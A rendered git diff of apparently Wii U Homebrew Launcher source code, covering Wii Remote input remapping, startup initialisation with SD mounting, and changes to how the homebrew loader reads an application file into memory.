if(vpadError == 0)
|
||||||
|
{
|
||||||
|
data.buttons_r = vpad.btns_r;
|
||||||
|
data.buttons_h = vpad.btns_h;
|
||||||
|
data.buttons_d = vpad.btns_d;
|
||||||
|
data.validPointer = !vpad.tpdata.invalid;
|
||||||
|
data.touched = vpad.tpdata.touched;
|
||||||
|
//! calculate the screen offsets
|
||||||
|
data.x = -(width >> 1) + (int)((vpad.tpdata1.x * width) >> 12);
|
||||||
|
data.y = (height >> 1) - (int)(height - ((vpad.tpdata1.y * height) >> 12));
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
private:
|
||||||
|
VPADData vpad;
|
||||||
|
};
|
||||||
|
|
||||||
|
#endif
|
179
src/gui/WPadController.h
Normal file
179
src/gui/WPadController.h
Normal file
@ -0,0 +1,179 @@
|
|||||||
|
/****************************************************************************
|
||||||
|
* Copyright (C) 2015 Dimok
|
||||||
|
*
|
||||||
|
* This program is free software: you can redistribute it and/or modify
|
||||||
|
* it under the terms of the GNU General Public License as published by
|
||||||
|
* the Free Software Foundation, either version 3 of the License, or
|
||||||
|
* (at your option) any later version.
|
||||||
|
*
|
||||||
|
* This program is distributed in the hope that it will be useful,
|
||||||
|
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
* GNU General Public License for more details.
|
||||||
|
*
|
||||||
|
* You should have received a copy of the GNU General Public License
|
||||||
|
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
****************************************************************************/
|
||||||
|
#ifndef WPAD_CONTROLLER_H_
|
||||||
|
#define WPAD_CONTROLLER_H_
|
||||||
|
|
||||||
|
#include "GuiController.h"
|
||||||
|
#include "dynamic_libs/padscore_functions.h"
|
||||||
|
|
||||||
|
class WPadController : public GuiController
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
//!Constructor
|
||||||
|
WPadController(int channel)
|
||||||
|
: GuiController(channel)
|
||||||
|
{
|
||||||
|
memset(&kpadData, 0, sizeof(kpadData));
|
||||||
|
}
|
||||||
|
|
||||||
|
//!Destructor
|
||||||
|
virtual ~WPadController() {}
|
||||||
|
|
||||||
|
u32 remapWiiMoteButtons(u32 buttons)
|
||||||
|
{
|
||||||
|
u32 conv_buttons = 0;
|
||||||
|
|
||||||
|
if(buttons & WPAD_BUTTON_LEFT)
|
||||||
|
conv_buttons |= GuiTrigger::BUTTON_LEFT;
|
||||||
|
|
||||||
|
if(buttons & WPAD_BUTTON_RIGHT)
|
||||||
|
conv_buttons |= GuiTrigger::BUTTON_RIGHT;
|
||||||
|
|
||||||
|
if(buttons & WPAD_BUTTON_DOWN)
|
||||||
|
conv_buttons |= GuiTrigger::BUTTON_DOWN;
|
||||||
|
|
||||||
|
if(buttons & WPAD_BUTTON_UP)
|
||||||
|
conv_buttons |= GuiTrigger::BUTTON_UP;
|
||||||
|
|
||||||
|
if(buttons & WPAD_BUTTON_PLUS)
|
||||||
|
conv_buttons |= GuiTrigger::BUTTON_PLUS;
|
||||||
|
|
||||||
|
if(buttons & WPAD_BUTTON_2)
|
||||||
|
conv_buttons |= GuiTrigger::BUTTON_2;
|
||||||
|
|
||||||
|
if(buttons & WPAD_BUTTON_1)
|
||||||
|
conv_buttons |= GuiTrigger::BUTTON_1;
|
||||||
|
|
||||||
|
if(buttons & WPAD_BUTTON_B)
|
||||||
|
conv_buttons |= GuiTrigger::BUTTON_B;
|
||||||
|
|
||||||
|
if(buttons & WPAD_BUTTON_A)
|
||||||
|
conv_buttons |= GuiTrigger::BUTTON_A;
|
||||||
|
|
||||||
|
if(buttons & WPAD_BUTTON_MINUS)
|
||||||
|
conv_buttons |= GuiTrigger::BUTTON_MINUS;
|
||||||
|
|
||||||
|
if(buttons & WPAD_BUTTON_Z)
|
||||||
|
conv_buttons |= GuiTrigger::BUTTON_Z;
|
||||||
|
|
||||||
|
if(buttons & WPAD_BUTTON_C)
|
||||||
|
conv_buttons |= GuiTrigger::BUTTON_C;
|
||||||
|
|
||||||
|
if(buttons & WPAD_BUTTON_HOME)
|
||||||
|
conv_buttons |= GuiTrigger::BUTTON_HOME;
|
||||||
|
|
||||||
|
return conv_buttons;
|
||||||
|
}
|
||||||
|
u32 remapClassicButtons(u32 buttons)
|
||||||
|
{
|
||||||
|
u32 conv_buttons = 0;
|
||||||
|
|
||||||
|
if(buttons & WPAD_CLASSIC_BUTTON_LEFT)
|
||||||
|
conv_buttons |= GuiTrigger::BUTTON_LEFT;
|
||||||
|
|
||||||
|
if(buttons & WPAD_CLASSIC_BUTTON_RIGHT)
|
||||||
|
conv_buttons |= GuiTrigger::BUTTON_RIGHT;
|
||||||
|
|
||||||
|
if(buttons & WPAD_CLASSIC_BUTTON_DOWN)
|
||||||
|
conv_buttons |= GuiTrigger::BUTTON_DOWN;
|
||||||
|
|
||||||
|
if(buttons & WPAD_CLASSIC_BUTTON_UP)
|
||||||
|
conv_buttons |= GuiTrigger::BUTTON_UP;
|
||||||
|
|
||||||
|
if(buttons & WPAD_CLASSIC_BUTTON_PLUS)
|
||||||
|
conv_buttons |= GuiTrigger::BUTTON_PLUS;
|
||||||
|
|
||||||
|
if(buttons & WPAD_CLASSIC_BUTTON_X)
|
||||||
|
conv_buttons |= GuiTrigger::BUTTON_X;
|
||||||
|
|
||||||
|
if(buttons & WPAD_CLASSIC_BUTTON_Y)
|
||||||
|
conv_buttons |= GuiTrigger::BUTTON_Y;
|
||||||
|
|
||||||
|
if(buttons & WPAD_CLASSIC_BUTTON_B)
|
||||||
|
conv_buttons |= GuiTrigger::BUTTON_B;
|
||||||
|
|
||||||
|
if(buttons & WPAD_CLASSIC_BUTTON_A)
|
||||||
|
conv_buttons |= GuiTrigger::BUTTON_A;
|
||||||
|
|
||||||
|
if(buttons & WPAD_CLASSIC_BUTTON_MINUS)
|
||||||
|
conv_buttons |= GuiTrigger::BUTTON_MINUS;
|
||||||
|
|
||||||
|
if(buttons & WPAD_CLASSIC_BUTTON_HOME)
|
||||||
|
conv_buttons |= GuiTrigger::BUTTON_HOME;
|
||||||
|
|
||||||
|
if(buttons & WPAD_CLASSIC_BUTTON_ZR)
|
||||||
|
conv_buttons |= GuiTrigger::BUTTON_ZR;
|
||||||
|
|
||||||
|
if(buttons & WPAD_CLASSIC_BUTTON_ZL)
|
||||||
|
conv_buttons |= GuiTrigger::BUTTON_ZL;
|
||||||
|
|
||||||
|
if(buttons & WPAD_CLASSIC_BUTTON_R)
|
||||||
|
conv_buttons |= GuiTrigger::BUTTON_R;
|
||||||
|
|
||||||
|
if(buttons & WPAD_CLASSIC_BUTTON_L)
|
||||||
|
conv_buttons |= GuiTrigger::BUTTON_L;
|
||||||
|
|
||||||
|
return conv_buttons;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool update(int width, int height)
|
||||||
|
{
|
||||||
|
lastData = data;
|
||||||
|
|
||||||
|
u32 controller_type;
|
||||||
|
|
||||||
|
//! check if the controller is connected
|
||||||
|
if(WPADProbe(chanIdx-1, &controller_type) != 0)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
KPADRead(chanIdx-1, &kpadData, 1);
|
||||||
|
|
||||||
|
if(kpadData.device_type <= 1)
|
||||||
|
{
|
||||||
|
data.buttons_r = remapWiiMoteButtons(kpadData.btns_r);
|
||||||
|
data.buttons_h = remapWiiMoteButtons(kpadData.btns_h);
|
||||||
|
data.buttons_d = remapWiiMoteButtons(kpadData.btns_d);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
data.buttons_r = remapClassicButtons(kpadData.classic.btns_r);
|
||||||
|
data.buttons_h = remapClassicButtons(kpadData.classic.btns_h);
|
||||||
|
data.buttons_d = remapClassicButtons(kpadData.classic.btns_d);
|
||||||
|
}
|
||||||
|
|
||||||
|
data.validPointer = (kpadData.pos_valid == 1 || kpadData.pos_valid == 2) && (kpadData.pos_x >= -1.0f && kpadData.pos_x <= 1.0f) && (kpadData.pos_y >= -1.0f && kpadData.pos_y <= 1.0f);
|
||||||
|
//! calculate the screen offsets if pointer is valid else leave old value
|
||||||
|
if(data.validPointer)
|
||||||
|
{
|
||||||
|
data.x = (width >> 1) * kpadData.pos_x;
|
||||||
|
data.y = (height >> 1) * (-kpadData.pos_y);
|
||||||
|
|
||||||
|
if(kpadData.angle_y > 0.0f)
|
||||||
|
data.pointerAngle = (-kpadData.angle_x + 1.0f) * 0.5f * 180.0f;
|
||||||
|
else
|
||||||
|
data.pointerAngle = (kpadData.angle_x + 1.0f) * 0.5f * 180.0f - 180.0f;
|
||||||
|
}
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
private:
|
||||||
|
KPADData kpadData;
|
||||||
|
u32 lastButtons;
|
||||||
|
};
|
||||||
|
|
||||||
|
#endif
|
2731
src/gui/sigslot.h
Normal file
2731
src/gui/sigslot.h
Normal file
File diff suppressed because it is too large
Load Diff
48
src/main.cpp
48
src/main.cpp
@ -1,21 +1,53 @@
|
|||||||
#include <nsysnet/socket.h>
|
//#include <string>
|
||||||
#include "Application.h"
|
#include "Application.h"
|
||||||
|
#include "dynamic_libs/os_functions.h"
|
||||||
|
#include "dynamic_libs/fs_functions.h"
|
||||||
|
#include "dynamic_libs/gx2_functions.h"
|
||||||
|
#include "dynamic_libs/sys_functions.h"
|
||||||
|
#include "dynamic_libs/vpad_functions.h"
|
||||||
|
#include "dynamic_libs/padscore_functions.h"
|
||||||
|
#include "dynamic_libs/socket_functions.h"
|
||||||
|
#include "dynamic_libs/ax_functions.h"
|
||||||
|
#include "fs/fs_utils.h"
|
||||||
|
#include "fs/sd_fat_devoptab.h"
|
||||||
#include "system/memory.h"
|
#include "system/memory.h"
|
||||||
#include "utils/logger.h"
|
#include "utils/logger.h"
|
||||||
#include "utils/utils.h"
|
#include "utils/utils.h"
|
||||||
#include "common/common.h"
|
#include "common/common.h"
|
||||||
|
|
||||||
/* Entry point */
|
/* Entry point */
|
||||||
extern "C" int Menu_Main(void) {
|
extern "C" int Menu_Main(void)
|
||||||
|
{
|
||||||
//!*******************************************************************
|
//!*******************************************************************
|
||||||
//! Initialize function pointers *
|
//! Initialize function pointers *
|
||||||
//!*******************************************************************
|
//!*******************************************************************
|
||||||
socket_lib_init();
|
|
||||||
//! do OS (for acquire) and sockets first so we got logging
|
//! do OS (for acquire) and sockets first so we got logging
|
||||||
log_init();
|
InitOSFunctionPointers();
|
||||||
|
InitSocketFunctionPointers();
|
||||||
|
|
||||||
|
log_init("192.168.178.3");
|
||||||
|
log_print("Starting launcher\n");
|
||||||
|
|
||||||
log_printf("Welcome to the Homebrew Launcher %s\n", HBL_VERSION);
|
InitFSFunctionPointers();
|
||||||
|
InitGX2FunctionPointers();
|
||||||
|
InitSysFunctionPointers();
|
||||||
|
InitVPadFunctionPointers();
|
||||||
|
InitPadScoreFunctionPointers();
|
||||||
|
InitAXFunctionPointers();
|
||||||
|
|
||||||
|
log_print("Function exports loaded\n");
|
||||||
|
|
||||||
|
//!*******************************************************************
|
||||||
|
//! Initialize heap memory *
|
||||||
|
//!*******************************************************************
|
||||||
|
log_print("Initialize memory management\n");
|
||||||
|
memoryInitialize();
|
||||||
|
|
||||||
|
//!*******************************************************************
|
||||||
|
//! Initialize FS *
|
||||||
|
//!*******************************************************************
|
||||||
|
log_printf("Mount SD partition\n");
|
||||||
|
mount_sd_fat("sd");
|
||||||
|
|
||||||
//!*******************************************************************
|
//!*******************************************************************
|
||||||
//! Enter main application *
|
//! Enter main application *
|
||||||
@ -26,7 +58,11 @@ extern "C" int Menu_Main(void) {
|
|||||||
|
|
||||||
Application::destroyInstance();
|
Application::destroyInstance();
|
||||||
|
|
||||||
log_printf("HBL exit\n");
|
log_printf("Unmount SD\n");
|
||||||
|
unmount_sd_fat("sd");
|
||||||
|
log_printf("Release memory\n");
|
||||||
|
memoryRelease();
|
||||||
|
log_deinit();
|
||||||
|
|
||||||
return returnCode;
|
return returnCode;
|
||||||
}
|
}
|
||||||
|
@ -1,7 +1,8 @@
|
|||||||
#ifndef _MAIN_H_
|
#ifndef _MAIN_H_
|
||||||
#define _MAIN_H_
|
#define _MAIN_H_
|
||||||
|
|
||||||
#include <stdint.h>
|
#include "common/types.h"
|
||||||
|
#include "dynamic_libs/os_functions.h"
|
||||||
|
|
||||||
/* Main */
|
/* Main */
|
||||||
#ifdef __cplusplus
|
#ifdef __cplusplus
|
||||||
|
@ -18,15 +18,9 @@
|
|||||||
#include "HomebrewLoader.h"
|
#include "HomebrewLoader.h"
|
||||||
#include "common/common.h"
|
#include "common/common.h"
|
||||||
#include "fs/DirList.h"
|
#include "fs/DirList.h"
|
||||||
#include "fs/FSUtils.h"
|
#include "fs/fs_utils.h"
|
||||||
#include "utils/HomebrewXML.h"
|
#include "utils/HomebrewXML.h"
|
||||||
#include "resources/Resources.h"
|
|
||||||
#include "utils/utils.h"
|
|
||||||
#include "Application.h"
|
#include "Application.h"
|
||||||
#include "system/AsyncDeleter.h"
|
|
||||||
|
|
||||||
#include <sysapp/launch.h>
|
|
||||||
|
|
||||||
|
|
||||||
HomebrewLaunchWindow::HomebrewLaunchWindow(const std::string & launchPath, GuiImageData * iconImgData)
|
HomebrewLaunchWindow::HomebrewLaunchWindow(const std::string & launchPath, GuiImageData * iconImgData)
|
||||||
: GuiFrame(0, 0)
|
: GuiFrame(0, 0)
|
||||||
@ -49,7 +43,8 @@ HomebrewLaunchWindow::HomebrewLaunchWindow(const std::string & launchPath, GuiIm
|
|||||||
, backBtn(backImg.getWidth(), backImg.getHeight())
|
, backBtn(backImg.getWidth(), backImg.getHeight())
|
||||||
, touchTrigger(GuiTrigger::CHANNEL_1, GuiTrigger::VPAD_TOUCH)
|
, touchTrigger(GuiTrigger::CHANNEL_1, GuiTrigger::VPAD_TOUCH)
|
||||||
, wpadTouchTrigger(GuiTrigger::CHANNEL_2 | GuiTrigger::CHANNEL_3 | GuiTrigger::CHANNEL_4 | GuiTrigger::CHANNEL_5, GuiTrigger::BUTTON_A)
|
, wpadTouchTrigger(GuiTrigger::CHANNEL_2 | GuiTrigger::CHANNEL_3 | GuiTrigger::CHANNEL_4 | GuiTrigger::CHANNEL_5, GuiTrigger::BUTTON_A)
|
||||||
, homebrewLaunchPath(launchPath) {
|
, homebrewLaunchPath(launchPath)
|
||||||
|
{
|
||||||
width = backgroundImg.getWidth();
|
width = backgroundImg.getWidth();
|
||||||
height = backgroundImg.getHeight();
|
height = backgroundImg.getHeight();
|
||||||
append(&backgroundImg);
|
append(&backgroundImg);
|
||||||
@ -66,8 +61,8 @@ HomebrewLaunchWindow::HomebrewLaunchWindow(const std::string & launchPath, GuiIm
|
|||||||
int yOffset = height * 0.5f - 75.0f;
|
int yOffset = height * 0.5f - 75.0f;
|
||||||
|
|
||||||
const char *cpName = xmlReadSuccess ? metaXml.GetName() : launchPath.c_str();
|
const char *cpName = xmlReadSuccess ? metaXml.GetName() : launchPath.c_str();
|
||||||
if(strncmp(cpName, "fs:/wiiu/apps/", strlen("fs:/wiiu/apps/")) == 0)
|
if(strncmp(cpName, "sd:/wiiu/apps/", strlen("sd:/wiiu/apps/")) == 0)
|
||||||
cpName += strlen("fs:/wiiu/apps/");
|
cpName += strlen("sd:/wiiu/apps/");
|
||||||
|
|
||||||
titleText.setText(cpName);
|
titleText.setText(cpName);
|
||||||
titleText.setAlignment(ALIGN_CENTER | ALIGN_MIDDLE);
|
titleText.setAlignment(ALIGN_CENTER | ALIGN_MIDDLE);
|
||||||
@ -139,19 +134,22 @@ HomebrewLaunchWindow::HomebrewLaunchWindow(const std::string & launchPath, GuiIm
|
|||||||
append(&backBtn);
|
append(&backBtn);
|
||||||
}
|
}
|
||||||
|
|
||||||
HomebrewLaunchWindow::~HomebrewLaunchWindow() {
|
HomebrewLaunchWindow::~HomebrewLaunchWindow()
|
||||||
|
{
|
||||||
Resources::RemoveSound(buttonClickSound);
|
Resources::RemoveSound(buttonClickSound);
|
||||||
Resources::RemoveImageData(backgroundImgData);
|
Resources::RemoveImageData(backgroundImgData);
|
||||||
Resources::RemoveImageData(buttonImgData);
|
Resources::RemoveImageData(buttonImgData);
|
||||||
}
|
}
|
||||||
|
|
||||||
void HomebrewLaunchWindow::OnOpenEffectFinish(GuiElement *element) {
|
void HomebrewLaunchWindow::OnOpenEffectFinish(GuiElement *element)
|
||||||
|
{
|
||||||
//! once the menu is open reset its state and allow it to be "clicked/hold"
|
//! once the menu is open reset its state and allow it to be "clicked/hold"
|
||||||
element->effectFinished.disconnect(this);
|
element->effectFinished.disconnect(this);
|
||||||
element->clearState(GuiElement::STATE_DISABLED);
|
element->clearState(GuiElement::STATE_DISABLED);
|
||||||
}
|
}
|
||||||
|
|
||||||
void HomebrewLaunchWindow::OnCloseEffectFinish(GuiElement *element) {
|
void HomebrewLaunchWindow::OnCloseEffectFinish(GuiElement *element)
|
||||||
|
{
|
||||||
//! remove element from draw list and push to delete queue
|
//! remove element from draw list and push to delete queue
|
||||||
remove(element);
|
remove(element);
|
||||||
AsyncDeleter::pushForDelete(element);
|
AsyncDeleter::pushForDelete(element);
|
||||||
@ -160,23 +158,33 @@ void HomebrewLaunchWindow::OnCloseEffectFinish(GuiElement *element) {
|
|||||||
loadBtn.clearState(GuiElement::STATE_DISABLED);
|
loadBtn.clearState(GuiElement::STATE_DISABLED);
|
||||||
}
|
}
|
||||||
|
|
||||||
void HomebrewLaunchWindow::OnFileLoadFinish(GuiElement *element, const std::string & filepath, int result) {
|
void HomebrewLaunchWindow::OnFileLoadFinish(GuiElement *element, const std::string & filepath, int result)
|
||||||
|
{
|
||||||
element->setState(GuiElement::STATE_DISABLED);
|
element->setState(GuiElement::STATE_DISABLED);
|
||||||
//element->setEffect(EFFECT_FADE, -10, 0);
|
element->setEffect(EFFECT_FADE, -10, 0);
|
||||||
element->effectFinished.connect(this, &HomebrewLaunchWindow::OnCloseEffectFinish);
|
element->effectFinished.connect(this, &HomebrewLaunchWindow::OnCloseEffectFinish);
|
||||||
|
|
||||||
if(result > 0) {
|
if(result > 0)
|
||||||
SYSRelaunchTitle(0,NULL);
|
{
|
||||||
//Application::instance()->quit(EXIT_SUCCESS);
|
u32 ApplicationMemoryEnd;
|
||||||
|
asm volatile("lis %0, __CODE_END@h; ori %0, %0, __CODE_END@l" : "=r" (ApplicationMemoryEnd));
|
||||||
|
|
||||||
|
ELF_DATA_ADDR = ApplicationMemoryEnd;
|
||||||
|
ELF_DATA_SIZE = result;
|
||||||
|
Application::instance()->quit(EXIT_SUCCESS);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
void HomebrewLaunchWindow::OnLoadButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) {
|
void HomebrewLaunchWindow::OnLoadButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger)
|
||||||
|
{
|
||||||
backBtn.setState(GuiElement::STATE_DISABLED);
|
backBtn.setState(GuiElement::STATE_DISABLED);
|
||||||
loadBtn.setState(GuiElement::STATE_DISABLED);
|
loadBtn.setState(GuiElement::STATE_DISABLED);
|
||||||
|
|
||||||
HomebrewLoader * loader = HomebrewLoader::loadToMemoryAsync(homebrewLaunchPath);
|
u32 ApplicationMemoryEnd;
|
||||||
|
asm volatile("lis %0, __CODE_END@h; ori %0, %0, __CODE_END@l" : "=r" (ApplicationMemoryEnd));
|
||||||
|
|
||||||
|
HomebrewLoader * loader = HomebrewLoader::loadToMemoryAsync(homebrewLaunchPath, (unsigned char*)ApplicationMemoryEnd);
|
||||||
loader->setEffect(EFFECT_FADE, 15, 255);
|
loader->setEffect(EFFECT_FADE, 15, 255);
|
||||||
loader->effectFinished.connect(this, &HomebrewLaunchWindow::OnOpenEffectFinish);
|
loader->effectFinished.connect(this, &HomebrewLaunchWindow::OnOpenEffectFinish);
|
||||||
loader->asyncLoadFinished.connect(this, &HomebrewLaunchWindow::OnFileLoadFinish);
|
loader->asyncLoadFinished.connect(this, &HomebrewLaunchWindow::OnFileLoadFinish);
|
||||||
|
@ -20,14 +20,16 @@
|
|||||||
#include "gui/Gui.h"
|
#include "gui/Gui.h"
|
||||||
#include "gui/GuiFrame.h"
|
#include "gui/GuiFrame.h"
|
||||||
|
|
||||||
class HomebrewLaunchWindow : public GuiFrame, public sigslot::has_slots<> {
|
class HomebrewLaunchWindow : public GuiFrame, public sigslot::has_slots<>
|
||||||
|
{
|
||||||
public:
|
public:
|
||||||
HomebrewLaunchWindow(const std::string & launchPath, GuiImageData * iconImgData);
|
HomebrewLaunchWindow(const std::string & launchPath, GuiImageData * iconImgData);
|
||||||
virtual ~HomebrewLaunchWindow();
|
virtual ~HomebrewLaunchWindow();
|
||||||
|
|
||||||
sigslot::signal1<GuiElement *> backButtonClicked;
|
sigslot::signal1<GuiElement *> backButtonClicked;
|
||||||
private:
|
private:
|
||||||
void OnBackButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) {
|
void OnBackButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger)
|
||||||
|
{
|
||||||
backButtonClicked(this);
|
backButtonClicked(this);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -1,129 +1,73 @@
|
|||||||
#include <algorithm>
|
#include <algorithm>
|
||||||
#include <string>
|
#include <string>
|
||||||
#include <string.h>
|
#include <string.h>
|
||||||
#include <coreinit/ios.h>
|
|
||||||
|
|
||||||
#include "HomebrewLoader.h"
|
#include "HomebrewLoader.h"
|
||||||
#include "fs/CFile.hpp"
|
#include "fs/CFile.hpp"
|
||||||
#include "utils/logger.h"
|
#include "utils/logger.h"
|
||||||
#include "utils/StringTools.h"
|
#include "utils/StringTools.h"
|
||||||
|
|
||||||
HomebrewLoader * HomebrewLoader::loadToMemoryAsync(const std::string & file) {
|
HomebrewLoader * HomebrewLoader::loadToMemoryAsync(const std::string & file, unsigned char *address)
|
||||||
HomebrewLoader * loader = new HomebrewLoader(file);
|
{
|
||||||
|
HomebrewLoader * loader = new HomebrewLoader(file, address);
|
||||||
loader->resumeThread();
|
loader->resumeThread();
|
||||||
return loader;
|
return loader;
|
||||||
}
|
}
|
||||||
|
|
||||||
void HomebrewLoader::executeThread() {
|
void HomebrewLoader::executeThread()
|
||||||
|
{
|
||||||
int result = loadToMemory();
|
int result = loadToMemory();
|
||||||
asyncLoadFinished(this, filepath, result);
|
asyncLoadFinished(this, filepath, result);
|
||||||
}
|
}
|
||||||
|
|
||||||
int32_t HomebrewLoader::loadToMemory(const std::string & file) {
|
int HomebrewLoader::loadToMemory()
|
||||||
HomebrewLoader * loader = new HomebrewLoader(file);
|
{
|
||||||
int result = loader->loadToMemory();
|
if(filepath.empty())
|
||||||
delete loader;
|
|
||||||
return result;
|
|
||||||
}
|
|
||||||
|
|
||||||
// You must free the result if result is non-NULL.
|
|
||||||
char *str_replace(char *orig, char *rep, char *with) {
|
|
||||||
char *result; // the return string
|
|
||||||
char *ins; // the next insert point
|
|
||||||
char *tmp; // varies
|
|
||||||
int len_rep; // length of rep (the string to remove)
|
|
||||||
int len_with; // length of with (the string to replace rep with)
|
|
||||||
int len_front; // distance between rep and end of last rep
|
|
||||||
int count; // number of replacements
|
|
||||||
|
|
||||||
// sanity checks and initialization
|
|
||||||
if (!orig || !rep)
|
|
||||||
return NULL;
|
|
||||||
len_rep = strlen(rep);
|
|
||||||
if (len_rep == 0)
|
|
||||||
return NULL; // empty rep causes infinite loop during count
|
|
||||||
if (!with)
|
|
||||||
with = "";
|
|
||||||
len_with = strlen(with);
|
|
||||||
|
|
||||||
// count the number of replacements needed
|
|
||||||
ins = orig;
|
|
||||||
for (count = 0; tmp = strstr(ins, rep); ++count) {
|
|
||||||
ins = tmp + len_rep;
|
|
||||||
}
|
|
||||||
|
|
||||||
tmp = result = (char*)malloc(strlen(orig) + (len_with - len_rep) * count + 1);
|
|
||||||
|
|
||||||
if (!result)
|
|
||||||
return NULL;
|
|
||||||
|
|
||||||
// first time through the loop, all the variable are set correctly
|
|
||||||
// from here on,
|
|
||||||
// tmp points to the end of the result string
|
|
||||||
// ins points to the next occurrence of rep in orig
|
|
||||||
// orig points to the remainder of orig after "end of rep"
|
|
||||||
while (count--) {
|
|
||||||
ins = strstr(orig, rep);
|
|
||||||
len_front = ins - orig;
|
|
||||||
tmp = strncpy(tmp, orig, len_front) + len_front;
|
|
||||||
tmp = strcpy(tmp, with) + len_with;
|
|
||||||
orig += len_front + len_rep; // move to next "end of rep"
|
|
||||||
}
|
|
||||||
strcpy(tmp, orig);
|
|
||||||
return result;
|
|
||||||
}
|
|
||||||
|
|
||||||
typedef struct __attribute((packed)) {
|
|
||||||
uint32_t command;
|
|
||||||
uint32_t target;
|
|
||||||
uint32_t filesize;
|
|
||||||
uint32_t fileoffset;
|
|
||||||
char path[256];
|
|
||||||
}LOAD_REQUEST;
|
|
||||||
|
|
||||||
int HomebrewLoader::loadToMemory() {
|
|
||||||
if(filepath.empty()) {
|
|
||||||
return INVALID_INPUT;
|
return INVALID_INPUT;
|
||||||
}
|
|
||||||
|
|
||||||
log_printf("Loading file %s\n", filepath.c_str());
|
log_printf("Loading file %s\n", filepath.c_str());
|
||||||
|
|
||||||
char * repl = (char*)"fs:/vol/external01/";
|
CFile file(filepath, CFile::ReadOnly);
|
||||||
char * with = (char*)"";
|
if(!file.isOpen())
|
||||||
char * input = (char*) filepath.c_str();
|
return FILE_OPEN_FAILURE;
|
||||||
|
|
||||||
char* extension = input + strlen(input) - 4;
|
u32 bytesRead = 0;
|
||||||
if (extension[0] == '.' &&
|
u32 fileSize = file.size();
|
||||||
extension[1] == 'r' &&
|
|
||||||
extension[2] == 'p' &&
|
|
||||||
extension[3] == 'x') {
|
|
||||||
|
|
||||||
char * path = str_replace(input,repl, with);
|
progressWindow.setTitle(strfmt("Loading file %s", FullpathToFilename(filepath.c_str())));
|
||||||
if(path != NULL) {
|
|
||||||
LOAD_REQUEST request;
|
|
||||||
memset(&request, 0, sizeof(request));
|
|
||||||
|
|
||||||
log_printf("Loading file %s\n", path);
|
// Copy rpl in memory
|
||||||
request.command = 0xFC; // IPC_CUSTOM_LOAD_CUSTOM_RPX;
|
while(bytesRead < fileSize)
|
||||||
request.target = 0; // LOAD_FILE_TARGET_SD_CARD
|
{
|
||||||
request.filesize = 0; // unknown
|
progressWindow.setProgress(100.0f * (f32)bytesRead / (f32)fileSize);
|
||||||
request.fileoffset = 0; //
|
|
||||||
|
|
||||||
strncpy(request.path, path, 255);
|
u32 blockSize = 0x8000;
|
||||||
|
if(blockSize > (fileSize - bytesRead))
|
||||||
|
blockSize = fileSize - bytesRead;
|
||||||
|
|
||||||
free(path);
|
if((u32)(loadAddress + bytesRead + blockSize) > 0x01000000)
|
||||||
|
{
|
||||||
int mcpFd = IOS_Open("/dev/mcp", (IOSOpenMode)0);
|
log_printf("File ist too big\n");
|
||||||
if(mcpFd >= 0) {
|
return NOT_ENOUGH_MEMORY;
|
||||||
int out = 0;
|
|
||||||
IOS_Ioctl(mcpFd, 100, &request, sizeof(request), &out, sizeof(out));
|
|
||||||
IOS_Close(mcpFd);
|
|
||||||
if(out == 2) {
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
return true;
|
int ret = file.read(loadAddress + bytesRead, blockSize);
|
||||||
|
if(ret <= 0)
|
||||||
|
{
|
||||||
|
log_printf("Failure on reading file %s\n", filepath.c_str());
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
bytesRead += ret;
|
||||||
|
}
|
||||||
|
|
||||||
|
progressWindow.setProgress((f32)bytesRead / (f32)fileSize);
|
||||||
|
|
||||||
|
if(bytesRead != fileSize)
|
||||||
|
{
|
||||||
|
log_printf("File loading not finished for file %s, finished %i of %i bytes\n", filepath.c_str(), bytesRead, fileSize);
|
||||||
|
return FILE_READ_ERROR;
|
||||||
|
}
|
||||||
|
|
||||||
|
return fileSize;
|
||||||
}
|
}
|
||||||
|
@ -3,14 +3,17 @@
|
|||||||
|
|
||||||
#include <vector>
|
#include <vector>
|
||||||
#include <string>
|
#include <string>
|
||||||
|
#include <gctypes.h>
|
||||||
|
|
||||||
#include "ProgressWindow.h"
|
#include "ProgressWindow.h"
|
||||||
#include "system/CThread.h"
|
#include "system/CThread.h"
|
||||||
#include "gui/sigslot.h"
|
#include "gui/sigslot.h"
|
||||||
|
|
||||||
class HomebrewLoader : public GuiFrame, public CThread {
|
class HomebrewLoader : public GuiFrame, public CThread
|
||||||
|
{
|
||||||
public:
|
public:
|
||||||
enum eLoadResults {
|
enum eLoadResults
|
||||||
|
{
|
||||||
SUCCESS = 0,
|
SUCCESS = 0,
|
||||||
INVALID_INPUT = -1,
|
INVALID_INPUT = -1,
|
||||||
FILE_OPEN_FAILURE = -2,
|
FILE_OPEN_FAILURE = -2,
|
||||||
@ -19,19 +22,21 @@ public:
|
|||||||
};
|
};
|
||||||
|
|
||||||
|
|
||||||
static HomebrewLoader * loadToMemoryAsync(const std::string & filepath);
|
static HomebrewLoader * loadToMemoryAsync(const std::string & filepath, unsigned char *address);
|
||||||
static int32_t loadToMemory(const std::string & file);
|
|
||||||
sigslot::signal3<GuiElement *, const std::string &, int> asyncLoadFinished;
|
sigslot::signal3<GuiElement *, const std::string &, int> asyncLoadFinished;
|
||||||
private:
|
private:
|
||||||
|
|
||||||
HomebrewLoader(const std::string & file)
|
HomebrewLoader(const std::string & file, unsigned char *address)
|
||||||
: GuiFrame(1280, 720)
|
: GuiFrame(0, 0)
|
||||||
, CThread(CThread::eAttributeAffCore0 | CThread::eAttributePinnedAff)
|
